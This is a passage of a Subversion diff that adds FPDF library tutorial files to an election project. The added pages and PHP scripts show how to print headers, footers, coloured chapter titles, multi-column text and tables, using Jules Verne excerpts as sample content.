+	//Line break
+	$this->Ln(20);
+}
+
+//Page footer
+function Footer()
+{
+	//Position at 1.5 cm from bottom
+	$this->SetY(-15);
+	//Arial italic 8
+	$this->SetFont('Arial','I',8);
+	//Page number
+	$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');
+}
+}
+
+//Instanciation of inherited class
+$pdf=new PDF();
+$pdf->AliasNbPages();
+$pdf->AddPage();
+$pdf->SetFont('Times','',12);
+for($i=1;$i<=40;$i++)
+	$pdf->Cell(0,10,'Printing line number '.$i,0,1);
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.htm	(revision 44)
@@ -0,0 +1,116 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Line breaks and colors</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Line breaks and colors</h1>
+Let's continue with an example which prints justified paragraphs. It also illustrates the use
+of colors.
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+class </span>PDF <span class="kw">extends </span>FPDF
+<span class="kw">{
+function </span>Header<span class="kw">()
+{
+    global </span>$title<span class="kw">;
+
+    </span><span class="cmt">//Arial bold 15
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>15<span class="kw">);
+    </span><span class="cmt">//Calculate width of title and position
+    </span>$w<span class="kw">=</span>$<span class="kw">this-&gt;</span>GetStringWidth<span class="kw">(</span>$title<span class="kw">)+</span>6<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>SetX<span class="kw">((</span>210<span class="kw">-</span>$w<span class="kw">)/</span>2<span class="kw">);
+    </span><span class="cmt">//Colors of frame, background and text
+    </span>$<span class="kw">this-&gt;</span>SetDrawColor<span class="kw">(</span>0<span class="kw">,</span>80<span class="kw">,</span>180<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>230<span class="kw">,</span>230<span class="kw">,</span>0<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>220<span class="kw">,</span>50<span class="kw">,</span>50<span class="kw">);
+    </span><span class="cmt">//Thickness of frame (1 mm)
+    </span>$<span class="kw">this-&gt;</span>SetLineWidth<span class="kw">(</span>1<span class="kw">);
+    </span><span class="cmt">//Title
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">,</span>9<span class="kw">,</span>$title<span class="kw">,</span>1<span class="kw">,</span>1<span class="kw">,</span><span class="str">'C'</span><span class="kw">,</span>true<span class="kw">);
+    </span><span class="cmt">//Line break
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>10<span class="kw">);
+}
+
+function </span>Footer<span class="kw">()
+{
+    </span><span class="cmt">//Position at 1.5 cm from bottom
+    </span>$<span class="kw">this-&gt;</span>SetY<span class="kw">(-</span>15<span class="kw">);
+    </span><span class="cmt">//Arial italic 8
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span>8<span class="kw">);
+    </span><span class="cmt">//Text color in gray
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>128<span class="kw">);
+    </span><span class="cmt">//Page number
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Page '</span><span class="kw">.</span>$<span class="kw">this-&gt;</span>PageNo<span class="kw">(),</span>0<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+}
+
+function </span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$label<span class="kw">)
+{
+    </span><span class="cmt">//Arial 12
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">);
+    </span><span class="cmt">//Background color
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>200<span class="kw">,</span>220<span class="kw">,</span>255<span class="kw">);
+    </span><span class="cmt">//Title
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>6<span class="kw">,</span><span class="str">"Chapter $num : $label"</span><span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>true<span class="kw">);
+    </span><span class="cmt">//Line break
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>4<span class="kw">);
+}
+
+function </span>ChapterBody<span class="kw">(</span>$file<span class="kw">)
+{
+    </span><span class="cmt">//Read text file
+    </span>$f<span class="kw">=</span>fopen<span class="kw">(</span>$file<span class="kw">,</span><span class="str">'r'</span><span class="kw">);
+    </span>$txt<span class="kw">=</span>fread<span class="kw">(</span>$f<span class="kw">,</span>filesize<span class="kw">(</span>$file<span class="kw">));
+    </span>fclose<span class="kw">(</span>$f<span class="kw">);
+    </span><span class="cmt">//Times 12
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Times'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">);
+    </span><span class="cmt">//Output justified text
+    </span>$<span class="kw">this-&gt;</span>MultiCell<span class="kw">(</span>0<span class="kw">,</span>5<span class="kw">,</span>$txt<span class="kw">);
+    </span><span class="cmt">//Line break
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    </span><span class="cmt">//Mention in italics
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>5<span class="kw">,</span><span class="str">'(end of excerpt)'</span><span class="kw">);
+}
+
+function </span>PrintChapter<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">,</span>$file<span class="kw">)
+{
+    </span>$<span class="kw">this-&gt;</span>AddPage<span class="kw">();
+    </span>$<span class="kw">this-&gt;</span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>ChapterBody<span class="kw">(</span>$file<span class="kw">);
+}
+}
+
+</span>$pdf<span class="kw">=new </span>PDF<span class="kw">();
+</span>$title<span class="kw">=</span><span class="str">'20000 Leagues Under the Seas'</span><span class="kw">;
+</span>$pdf<span class="kw">-&gt;</span>SetTitle<span class="kw">(</span>$title<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetAuthor<span class="kw">(</span><span class="str">'Jules Verne'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>PrintChapter<span class="kw">(</span>1<span class="kw">,</span><span class="str">'A RUNAWAY REEF'</span><span class="kw">,</span><span class="str">'20k_c1.txt'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>PrintChapter<span class="kw">(</span>2<span class="kw">,</span><span class="str">'THE PROS AND CONS'</span><span class="kw">,</span><span class="str">'20k_c2.txt'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto3.php' target='_blank' class='demo'>[Demo]</a></p>
+The <a href='../doc/getstringwidth.htm'>GetStringWidth()</a> method allows to determine the length of a string in the current font,
+which is used here to calculate the position and the width of the frame surrounding the title.
+Then colors are set (via <a href='../doc/setdrawcolor.htm'>SetDrawColor()</a>, <a href='../doc/setfillcolor.htm'>SetFillColor()</a> and <a href='../doc/settextcolor.htm'>SetTextColor()</a>) and the
+thickness of the line is set to 1 mm (against 0.2 by default) with <a href='../doc/setlinewidth.htm'>SetLineWidth()</a>. Finally,
+we output the cell (the last parameter to <code>true</code> indicates that the background must
+be filled).
+<br>
+<br>
+The method used to print the paragraphs is <a href='../doc/multicell.htm'>MultiCell()</a>. Each time a line reaches the
+right extremity of the cell or a carriage return character is met, a line break is issued
+and a new cell automatically created under the current one. Text is justified by default.
+<br>
+<br>
+Two document properties are defined: the title (<a href='../doc/settitle.htm'>SetTitle()</a>) and the author (<a href='../doc/setauthor.htm'>SetAuthor()</a>).
+Properties can be viewed by two means. First is to open the document directly with Acrobat Reader,
+go to the File menu and choose the Document Properties option. The second, also available from
+the plug-in, is to right-click and select Document Properties.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto3.php	(revision 44)
@@ -0,0 +1,83 @@
+<?php
+require('../fpdf.php');
+
+class PDF extends FPDF
+{
+function Header()
+{
+	global $title;
+
+	//Arial bold 15
+	$this->SetFont('Arial','B',15);
+	//Calculate width of title and position
+	$w=$this->GetStringWidth($title)+6;
+	$this->SetX((210-$w)/2);
+	//Colors of frame, background and text
+	$this->SetDrawColor(0,80,180);
+	$this->SetFillColor(230,230,0);
+	$this->SetTextColor(220,50,50);
+	//Thickness of frame (1 mm)
+	$this->SetLineWidth(1);
+	//Title
+	$this->Cell($w,9,$title,1,1,'C',true);
+	//Line break
+	$this->Ln(10);
+}
+
+function Footer()
+{
+	//Position at 1.5 cm from bottom
+	$this->SetY(-15);
+	//Arial italic 8
+	$this->SetFont('Arial','I',8);
+	//Text color in gray
+	$this->SetTextColor(128);
+	//Page number
+	$this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');
+}
+
+function ChapterTitle($num,$label)
+{
+	//Arial 12
+	$this->SetFont('Arial','',12);
+	//Background color
+	$this->SetFillColor(200,220,255);
+	//Title
+	$this->Cell(0,6,"Chapter $num : $label",0,1,'L',true);
+	//Line break
+	$this->Ln(4);
+}
+
+function ChapterBody($file)
+{
+	//Read text file
+	$f=fopen($file,'r');
+	$txt=fread($f,filesize($file));
+	fclose($f);
+	//Times 12
+	$this->SetFont('Times','',12);
+	//Output justified text
+	$this->MultiCell(0,5,$txt);
+	//Line break
+	$this->Ln();
+	//Mention in italics
+	$this->SetFont('','I');
+	$this->Cell(0,5,'(end of excerpt)');
+}
+
+function PrintChapter($num,$title,$file)
+{
+	$this->AddPage();
+	$this->ChapterTitle($num,$title);
+	$this->ChapterBody($file);
+}
+}
+
+$pdf=new PDF();
+$title='20000 Leagues Under the Seas';
+$pdf->SetTitle($title);
+$pdf->SetAuthor('Jules Verne');
+$pdf->PrintChapter(1,'A RUNAWAY REEF','20k_c1.txt');
+$pdf->PrintChapter(2,'THE PROS AND CONS','20k_c2.txt');
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.htm	(revision 44)
@@ -0,0 +1,136 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Multi-columns</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Multi-columns</h1>
+This example is a variant of the previous one showing how to lay the text across multiple
+columns.
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+class </span>PDF <span class="kw">extends </span>FPDF
+<span class="kw">{
+</span><span class="cmt">//Current column
+</span><span class="kw">var </span>$col<span class="kw">=</span>0<span class="kw">;
+</span><span class="cmt">//Ordinate of column start
+</span><span class="kw">var </span>$y0<span class="kw">;
+
+function </span>Header<span class="kw">()
+{
+    </span><span class="cmt">//Page header
+    </span><span class="kw">global </span>$title<span class="kw">;
+
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>15<span class="kw">);
+    </span>$w<span class="kw">=</span>$<span class="kw">this-&gt;</span>GetStringWidth<span class="kw">(</span>$title<span class="kw">)+</span>6<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>SetX<span class="kw">((</span>210<span class="kw">-</span>$w<span class="kw">)/</span>2<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetDrawColor<span class="kw">(</span>0<span class="kw">,</span>80<span class="kw">,</span>180<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>230<span class="kw">,</span>230<span class="kw">,</span>0<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>220<span class="kw">,</span>50<span class="kw">,</span>50<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetLineWidth<span class="kw">(</span>1<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">,</span>9<span class="kw">,</span>$title<span class="kw">,</span>1<span class="kw">,</span>1<span class="kw">,</span><span class="str">'C'</span><span class="kw">,</span>true<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>10<span class="kw">);
+    </span><span class="cmt">//Save ordinate
+    </span>$<span class="kw">this-&gt;</span>y0<span class="kw">=</span>$<span class="kw">this-&gt;</span>GetY<span class="kw">();
+}
+
+function </span>Footer<span class="kw">()
+{
+    </span><span class="cmt">//Page footer
+    </span>$<span class="kw">this-&gt;</span>SetY<span class="kw">(-</span>15<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span>8<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>128<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Page '</span><span class="kw">.</span>$<span class="kw">this-&gt;</span>PageNo<span class="kw">(),</span>0<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+}
+
+function </span>SetCol<span class="kw">(</span>$col<span class="kw">)
+{
+    </span><span class="cmt">//Set position at a given column
+    </span>$<span class="kw">this-&gt;</span>col<span class="kw">=</span>$col<span class="kw">;
+    </span>$x<span class="kw">=</span>10<span class="kw">+</span>$col<span class="kw">*</span>65<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>SetLeftMargin<span class="kw">(</span>$x<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetX<span class="kw">(</span>$x<span class="kw">);
+}
+
+function </span>AcceptPageBreak<span class="kw">()
+{
+    </span><span class="cmt">//Method accepting or not automatic page break
+    </span><span class="kw">if(</span>$<span class="kw">this-&gt;</span>col<span class="kw">&lt;</span>2<span class="kw">)
+    {
+        </span><span class="cmt">//Go to next column
+        </span>$<span class="kw">this-&gt;</span>SetCol<span class="kw">(</span>$<span class="kw">this-&gt;</span>col<span class="kw">+</span>1<span class="kw">);
+        </span><span class="cmt">//Set ordinate to top
+        </span>$<span class="kw">this-&gt;</span>SetY<span class="kw">(</span>$<span class="kw">this-&gt;</span>y0<span class="kw">);
+        </span><span class="cmt">//Keep on page
+        </span><span class="kw">return </span>false<span class="kw">;
+    }
+    else
+    {
+        </span><span class="cmt">//Go back to first column
+        </span>$<span class="kw">this-&gt;</span>SetCol<span class="kw">(</span>0<span class="kw">);
+        </span><span class="cmt">//Page break
+        </span><span class="kw">return </span>true<span class="kw">;
+    }
+}
+
+function </span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$label<span class="kw">)
+{
+    </span><span class="cmt">//Title
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>200<span class="kw">,</span>220<span class="kw">,</span>255<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>6<span class="kw">,</span><span class="str">"Chapter $num : $label"</span><span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>true<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>4<span class="kw">);
+    </span><span class="cmt">//Save ordinate
+    </span>$<span class="kw">this-&gt;</span>y0<span class="kw">=</span>$<span class="kw">this-&gt;</span>GetY<span class="kw">();
+}
+
+function </span>ChapterBody<span class="kw">(</span>$file<span class="kw">)
+{
+    </span><span class="cmt">//Read text file
+    </span>$f<span class="kw">=</span>fopen<span class="kw">(</span>$file<span class="kw">,</span><span class="str">'r'</span><span class="kw">);
+    </span>$txt<span class="kw">=</span>fread<span class="kw">(</span>$f<span class="kw">,</span>filesize<span class="kw">(</span>$file<span class="kw">));
+    </span>fclose<span class="kw">(</span>$f<span class="kw">);
+    </span><span class="cmt">//Font
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Times'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">);
+    </span><span class="cmt">//Output text in a 6 cm width column
+    </span>$<span class="kw">this-&gt;</span>MultiCell<span class="kw">(</span>60<span class="kw">,</span>5<span class="kw">,</span>$txt<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    </span><span class="cmt">//Mention
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>5<span class="kw">,</span><span class="str">'(end of excerpt)'</span><span class="kw">);
+    </span><span class="cmt">//Go back to first column
+    </span>$<span class="kw">this-&gt;</span>SetCol<span class="kw">(</span>0<span class="kw">);
+}
+
+function </span>PrintChapter<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">,</span>$file<span class="kw">)
+{
+    </span><span class="cmt">//Add chapter
+    </span>$<span class="kw">this-&gt;</span>AddPage<span class="kw">();
+    </span>$<span class="kw">this-&gt;</span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>ChapterBody<span class="kw">(</span>$file<span class="kw">);
+}
+}
+
+</span>$pdf<span class="kw">=new </span>PDF<span class="kw">();
+</span>$title<span class="kw">=</span><span class="str">'20000 Leagues Under the Seas'</span><span class="kw">;
+</span>$pdf<span class="kw">-&gt;</span>SetTitle<span class="kw">(</span>$title<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetAuthor<span class="kw">(</span><span class="str">'Jules Verne'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>PrintChapter<span class="kw">(</span>1<span class="kw">,</span><span class="str">'A RUNAWAY REEF'</span><span class="kw">,</span><span class="str">'20k_c1.txt'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>PrintChapter<span class="kw">(</span>2<span class="kw">,</span><span class="str">'THE PROS AND CONS'</span><span class="kw">,</span><span class="str">'20k_c2.txt'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto4.php' target='_blank' class='demo'>[Demo]</a></p>
+The key method used is <a href='../doc/acceptpagebreak.htm'>AcceptPageBreak()</a>. It allows to accept or not an automatic page
+break. By refusing it and altering the margin and current position, the desired column layout
+is achieved.
+<br>
+For the rest, not many changes; two properties have been added to the class to save the current
+column number and the position where columns begin, and the MultiCell() call specifies a
+6 centimeter width.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto4.php	(revision 44)
@@ -0,0 +1,113 @@
+<?php
+require('../fpdf.php');
+
+class PDF extends FPDF
+{
+//Current column
+var $col=0;
+//Ordinate of column start
+var $y0;
+
+function Header()
+{
+	//Page header
+	global $title;
+
+	$this->SetFont('Arial','B',15);
+	$w=$this->GetStringWidth($title)+6;
+	$this->SetX((210-$w)/2);
+	$this->SetDrawColor(0,80,180);
+	$this->SetFillColor(230,230,0);
+	$this->SetTextColor(220,50,50);
+	$this->SetLineWidth(1);
+	$this->Cell($w,9,$title,1,1,'C',true);
+	$this->Ln(10);
+	//Save ordinate
+	$this->y0=$this->GetY();
+}
+
+function Footer()
+{
+	//Page footer
+	$this->SetY(-15);
+	$this->SetFont('Arial','I',8);
+	$this->SetTextColor(128);
+	$this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');
+}
+
+function SetCol($col)
+{
+	//Set position at a given column
+	$this->col=$col;
+	$x=10+$col*65;
+	$this->SetLeftMargin($x);
+	$this->SetX($x);
+}
+
+function AcceptPageBreak()
+{
+	//Method accepting or not automatic page break
+	if($this->col<2)
+	{
+		//Go to next column
+		$this->SetCol($this->col+1);
+		//Set ordinate to top
+		$this->SetY($this->y0);
+		//Keep on page
+		return false;
+	}
+	else
+	{
+		//Go back to first column
+		$this->SetCol(0);
+		//Page break
+		return true;
+	}
+}
+
+function ChapterTitle($num,$label)
+{
+	//Title
+	$this->SetFont('Arial','',12);
+	$this->SetFillColor(200,220,255);
+	$this->Cell(0,6,"Chapter $num : $label",0,1,'L',true);
+	$this->Ln(4);
+	//Save ordinate
+	$this->y0=$this->GetY();
+}
+
+function ChapterBody($file)
+{
+	//Read text file
+	$f=fopen($file,'r');
+	$txt=fread($f,filesize($file));
+	fclose($f);
+	//Font
+	$this->SetFont('Times','',12);
+	//Output text in a 6 cm width column
+	$this->MultiCell(60,5,$txt);
+	$this->Ln();
+	//Mention
+	$this->SetFont('','I');
+	$this->Cell(0,5,'(end of excerpt)');
+	//Go back to first column
+	$this->SetCol(0);
+}
+
+function PrintChapter($num,$title,$file)
+{
+	//Add chapter
+	$this->AddPage();
+	$this->ChapterTitle($num,$title);
+	$this->ChapterBody($file);
+}
+}
+
+$pdf=new PDF();
+$title='20000 Leagues Under the Seas';
+$pdf->SetTitle($title);
+$pdf->SetAuthor('Jules Verne');
+$pdf->PrintChapter(1,'A RUNAWAY REEF','20k_c1.txt');
+$pdf->PrintChapter(2,'THE PROS AND CONS','20k_c2.txt');
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.htm	(revision 44)
@@ -0,0 +1,133 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Tables</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Tables</h1>
+This tutorial shows how to make tables easily.
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+class </span>PDF <span class="kw">extends </span>FPDF
+<span class="kw">{
+</span><span class="cmt">//Load data
+</span><span class="kw">function </span>LoadData<span class="kw">(</span>$file<span class="kw">)
+{
+    </span><span class="cmt">//Read file lines
+    </span>$lines<span class="kw">=</span>file<span class="kw">(</span>$file<span class="kw">);
+    </span>$data<span class="kw">=array();
+    foreach(</span>$lines <span class="kw">as </span>$line<span class="kw">)
+        </span>$data<span class="kw">[]=</span>explode<span class="kw">(</span><span class="str">';'</span><span class="kw">,</span>chop<span class="kw">(</span>$line<span class="kw">));
+    return </span>$data<span class="kw">;
+}
+
+</span><span class="cmt">//Simple table
+</span><span class="kw">function </span>BasicTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">)
+{
+    </span><span class="cmt">//Header
+    </span><span class="kw">foreach(</span>$header <span class="kw">as </span>$col<span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>7<span class="kw">,</span>$col<span class="kw">,</span>1<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    </span><span class="cmt">//Data
+    </span><span class="kw">foreach(</span>$data <span class="kw">as </span>$row<span class="kw">)
+    {
+        foreach(</span>$row <span class="kw">as </span>$col<span class="kw">)
+            </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>6<span class="kw">,</span>$col<span class="kw">,</span>1<span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    }
+}
+
+</span><span class="cmt">//Better table
+</span><span class="kw">function </span>ImprovedTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">)
+{
+    </span><span class="cmt">//Column widths
+    </span>$w<span class="kw">=array(</span>40<span class="kw">,</span>35<span class="kw">,</span>40<span class="kw">,</span>45<span class="kw">);
+    </span><span class="cmt">//Header
+    </span><span class="kw">for(</span>$i<span class="kw">=</span>0<span class="kw">;</span>$i<span class="kw">&lt;</span>count<span class="kw">(</span>$header<span class="kw">);</span>$i<span class="kw">++)
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>$i<span class="kw">],</span>7<span class="kw">,</span>$header<span class="kw">[</span>$i<span class="kw">],</span>1<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    </span><span class="cmt">//Data
+    </span><span class="kw">foreach(</span>$data <span class="kw">as </span>$row<span class="kw">)
+    {
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>0<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>0<span class="kw">],</span><span class="str">'LR'</span><span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>1<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>1<span class="kw">],</span><span class="str">'LR'</span><span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>2<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>2<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>3<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>3<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    }
+    </span><span class="cmt">//Closure line
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>array_sum<span class="kw">(</span>$w<span class="kw">),</span>0<span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'T'</span><span class="kw">);
+}
+
+</span><span class="cmt">//Colored table
+</span><span class="kw">function </span>FancyTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">)
+{
+    </span><span class="cmt">//Colors, line width and bold font
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>255<span class="kw">,</span>0<span class="kw">,</span>0<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>255<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetDrawColor<span class="kw">(</span>128<span class="kw">,</span>0<span class="kw">,</span>0<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetLineWidth<span class="kw">(</span>.3<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">);
+    </span><span class="cmt">//Header
+    </span>$w<span class="kw">=array(</span>40<span class="kw">,</span>35<span class="kw">,</span>40<span class="kw">,</span>45<span class="kw">);
+    for(</span>$i<span class="kw">=</span>0<span class="kw">;</span>$i<span class="kw">&lt;</span>count<span class="kw">(</span>$header<span class="kw">);</span>$i<span class="kw">++)
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>$i<span class="kw">],</span>7<span class="kw">,</span>$header<span class="kw">[</span>$i<span class="kw">],</span>1<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">,</span>true<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+    </span><span class="cmt">//Color and font restoration
+    </span>$<span class="kw">this-&gt;</span>SetFillColor<span class="kw">(</span>224<span class="kw">,</span>235<span class="kw">,</span>255<span class="kw">);
